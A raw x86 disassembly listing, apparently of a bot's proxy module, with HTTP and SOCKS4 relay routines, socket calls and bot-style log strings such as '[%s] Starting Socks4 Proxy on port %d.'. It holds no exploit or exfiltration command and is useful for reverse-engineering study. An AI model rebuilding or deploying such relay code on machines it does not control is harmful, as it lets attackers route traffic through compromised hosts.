loc_42A52D: ; CODE XREF: ___:0042991Aj
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
loc_42A53E: ; CODE XREF: ___:004298E7j
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
loc_42A54F: ; CODE XREF: ___:004296A1j
; ___:004296BAj ...
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
loc_42A560: ; CODE XREF: ___:00429595j
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A4DC
; ---------------------------------------------------------------------------
loc_42A589: ; CODE XREF: ___:00429A13j
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
jmp loc_42A6FA
; ---------------------------------------------------------------------------
loc_42A59B: ; CODE XREF: ___:00429B54j
lea ecx, [esp+0CDh]
call sub_4017EE
push eax
lea ecx, [esp+18h]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_511C9C
push eax
call esi ; closesocket
mov ecx, [ebp+0BFh]
push ecx
jmp loc_42A6F8
; ---------------------------------------------------------------------------
loc_42A5F8: ; CODE XREF: ___:00429B70j
mov edx, [esp+10Ch]
lea ecx, [esp+0CDh]
push edx
call sub_4017EE
push eax
lea eax, [esp+1Ch]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A642: ; CODE XREF: ___:00429C21j
; ___:00429C29j
mov edx, [ebp+0BBh]
mov esi, dword_511C9C
push edx
call esi ; closesocket
mov eax, [ebp+0BFh]
push eax
jmp loc_42A6F8
; ---------------------------------------------------------------------------
loc_42A65D: ; CODE XREF: ___:00429AFEj
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_42A6FA
; ---------------------------------------------------------------------------
loc_42A66F: ; CODE XREF: ___:00429C4Fj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
or esi, 0FFFFFFFFh
jmp loc_42A4DC
; ---------------------------------------------------------------------------
loc_42A6E2: ; CODE XREF: ___:0042A255j
; ___:0042A25Dj
mov ecx, [ebp+0BBh]
mov esi, dword_511C9C
push ecx
call esi ; closesocket
mov edx, [ebp+0BFh]
push edx
loc_42A6F8: ; CODE XREF: ___:0042A5F3j
; ___:0042A658j
call esi ; closesocket
loc_42A6FA: ; CODE XREF: ___:0042A596j
; ___:0042A66Aj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
jmp loc_42A514
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AC10 proc near ; CODE XREF: sub_4018EDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AC10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F15C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AC10 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AC80 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AC80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_42ACA3: ; CODE XREF: sub_42AC80+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42ACCA
mov ecx, [edi+3Bh]
push ecx
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_42ACA3
loc_42ACCA: ; CODE XREF: sub_42AC80+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42AD9C
push ebp
push esi
loc_42ACE0: ; CODE XREF: sub_42AC80+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_42AD7B
test ebp, ebp
jz short loc_42AD7B
push 0C3h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_42AD26
mov ecx, eax
call sub_401893
mov esi, eax
jmp short loc_42AD28
; ---------------------------------------------------------------------------
loc_42AD26: ; CODE XREF: sub_42AC80+99j
xor esi, esi
loc_42AD28: ; CODE XREF: sub_42AC80+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FDC
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013DE
jmp short loc_42AD86
; ---------------------------------------------------------------------------
loc_42AD7B: ; CODE XREF: sub_42AC80+74j
; sub_42AC80+7Cj
push 0FAh
nop
call near ptr 2831C1Ah
loc_42AD86: ; CODE XREF: sub_42AC80+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_42ACE0
pop esi
pop ebp
loc_42AD9C: ; CODE XREF: sub_42AC80+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_42ADAE
push edi
nop
call near ptr 71AB9639h
loc_42ADAE: ; CODE XREF: sub_42AC80+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AC80 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AE10 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_42AE38
call sub_4017EE
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_42AE43
; ---------------------------------------------------------------------------
loc_42AE38: ; CODE XREF: sub_42AE10+19j
call sub_4017EE
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_42AE43: ; CODE XREF: sub_42AE10+26j
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017EE
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_42AE10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AEE0 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE5
test [esp+4+arg_0], 1
jz short loc_42AEF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42AEF8: ; CODE XREF: sub_42AEE0+Dj
mov eax, esi
pop esi
retn 4
sub_42AEE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF10 proc near ; CODE XREF: sub_401BE5j
push esi
mov esi, ecx
push edi
mov edi, dword_511C9C
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43F14C
cmp eax, 0FFFFFFFFh
jz short loc_42AF2E
push eax
call edi ; closesocket
loc_42AF2E: ; CODE XREF: sub_42AF10+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42AF3C
push eax
call edi ; closesocket
loc_42AF3C: ; CODE XREF: sub_42AF10+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_4017A8
pop edi
pop esi
retn
sub_42AF10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AF80: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402126
test byte ptr [esp+8], 1
jz short loc_42AF98
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42AF98: ; CODE XREF: ___:0042AF8Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AFB0 proc near ; CODE XREF: sub_402126j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43F15C
cmp eax, 0FFFFFFFFh
jz short loc_42AFCB
push eax
call near ptr 71AB9639h
nop
loc_42AFCB: ; CODE XREF: sub_42AFB0+12j
mov ecx, esi
call sub_4017A8
pop esi
retn
sub_42AFB0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AFF0 proc near ; CODE XREF: sub_40213Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AFF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F16C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AFF0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B060: ; CODE XREF: ___:0040187Fj
; ___:loc_401B18j
push esi
mov esi, ecx
call sub_401FA5
test byte ptr [esp+8], 1
jz short loc_42B078
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B078: ; CODE XREF: ___:0042B06Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B090 proc near ; CODE XREF: sub_401FA5j
jmp sub_4017A8
sub_42B090 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0B0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_511CA4
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B0F1
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B0F1: ; CODE XREF: sub_42B0B0+27j
cmp [esp+830h+var_81D], 4
jnz loc_42B2DC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B12E
mov edx, [ebp+0A1h]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B12E: ; CODE XREF: sub_42B0B0+64j
cmp [esp+830h+var_807], 1
jnz loc_42B2DC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
nop
call near ptr 71AB3B91h
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_42B1C9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
call near ptr 71AB428Ah
nop
mov ecx, [ebp+0A1h]
mov esi, dword_511CAC
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; ioctlsocket
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; ioctlsocket
loc_42B226: ; CODE XREF: sub_42B0B0+1AFj
; sub_42B0B0+1FEj ...
mov edi, dword_511CA4
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; recv
mov esi, eax
test esi, esi
jz loc_42B2CA
jge short loc_42B261
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B261
push 0Ah
nop
call near ptr 2831C1Ah
jmp short loc_42B226
; ---------------------------------------------------------------------------
loc_42B261: ; CODE XREF: sub_42B0B0+198j
; sub_42B0B0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; recv
mov esi, eax
test esi, esi
jz short loc_42B2CA
jge short loc_42B2B3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B2B3
push 0Ah
nop
call near ptr 2831C1Ah
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j
; sub_42B0B0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
nop
call near ptr 71AB428Ah
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2CA: ; CODE XREF: sub_42B0B0+192j
; sub_42B0B0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_511C9C
push eax
call esi ; closesocket
push ebx
call esi ; closesocket
loc_42B2DC: ; CODE XREF: sub_42B0B0+46j
; sub_42B0B0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_42B0B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B380 proc near ; CODE XREF: sub_40218Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B380
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F17C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B380 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C4E
test [esp+4+arg_0], 1
jz short loc_42B408
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B408: ; CODE XREF: sub_42B3F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B3F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B420 proc near ; CODE XREF: sub_401C4Ej
jmp sub_4017A8
sub_42B420 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B440 proc near ; CODE XREF: sub_40189Dj
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B440
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017EE
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42B649
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42B516
mov ecx, [esi+9Dh]
push ecx
nop
call near ptr 71AB9639h
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B516: ; CODE XREF: sub_42B440+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42B600
loc_42B52C: ; CODE XREF: sub_42B440+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_42B550
push 0FAh
nop
call near ptr 2831C1Ah
jmp loc_42B5EC
; ---------------------------------------------------------------------------
loc_42B550: ; CODE XREF: sub_42B440+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
call near ptr 71AC1028h
nop
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42B600
xor edi, edi
cmp ebp, edi
jz loc_42B600
push 0A5h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B59E
mov ecx, eax
call sub_40213A
mov edi, eax
loc_42B59E: ; CODE XREF: sub_42B440+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FDC
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42B5EC: ; CODE XREF: sub_42B440+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B52C
loc_42B600: ; CODE XREF: sub_42B440+E6j
; sub_42B440+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42B614
push eax
nop
call near ptr 71AB9639h
loc_42B614: ; CODE XREF: sub_42B440+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017EE
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
loc_42B649: ; CODE XREF: sub_42B440+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B440 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6F0 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
call near ptr 71AB4FD4h
nop
test eax, eax
jz short loc_42B711
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42B711: ; CODE XREF: sub_42B6F0+Dj
xor al, al
retn 8
sub_42B6F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B730 proc near ; CODE XREF: sub_4020E0j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42B751: ; CODE XREF: sub_42B730+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B76A: ; CODE XREF: sub_42B730+45j
cmp [ecx], ebx
jz short loc_42B777
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B76A
loc_42B777: ; CODE XREF: sub_42B730+3Cj
cmp eax, 1
jnz short loc_42B788
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42B788: ; CODE XREF: sub_42B730+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jbe short loc_42B813
cmp eax, 0FFFFFFFFh
jz short loc_42B813
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42B7BC
mov eax, ebp
mov ebp, ebx
jmp short loc_42B7BE
; ---------------------------------------------------------------------------
loc_42B7BC: ; CODE XREF: sub_42B730+84j
mov eax, ebx
loc_42B7BE: ; CODE XREF: sub_42B730+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42B862
test edi, edi
jz short loc_42B862
jbe short loc_42B80C
loc_42B7EB: ; CODE XREF: sub_42B730+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42B862
add esi, eax
cmp esi, edi
jb short loc_42B7EB
loc_42B80C: ; CODE XREF: sub_42B730+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42B813: ; CODE XREF: sub_42B730+70j
; sub_42B730+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B825: ; CODE XREF: sub_42B730+100j
cmp [ecx], ebx
jz short loc_42B832
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B825
loc_42B832: ; CODE XREF: sub_42B730+F7j
cmp eax, 1
jnz short loc_42B844
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42B844: ; CODE XREF: sub_42B730+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42B751
loc_42B862: ; CODE XREF: sub_42B730+B3j
; sub_42B730+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42B730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B8E0 proc near ; CODE XREF: sub_401C30j
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42B97F
dec eax
jz short loc_42B92A
dec eax
jnz loc_42BA72
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B92A: ; CODE XREF: sub_42B8E0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_401758
test al, al
jz loc_42BA72
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42B99B
; ---------------------------------------------------------------------------
loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj
mov ebx, dword_511C3C
push 11h
push 2
push 2
call ebx ; socket
push 11h
push 2
push 2
mov edi, eax
call ebx ; socket
cmp edi, 0FFFFFFFFh
jz loc_42BA72
cmp eax, 0FFFFFFFFh
jnz loc_42BA72
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_511C68
push edx
push esi
push edi
call ebp ; sendto
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42BA72
loc_42B9F9: ; CODE XREF: sub_42B8E0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
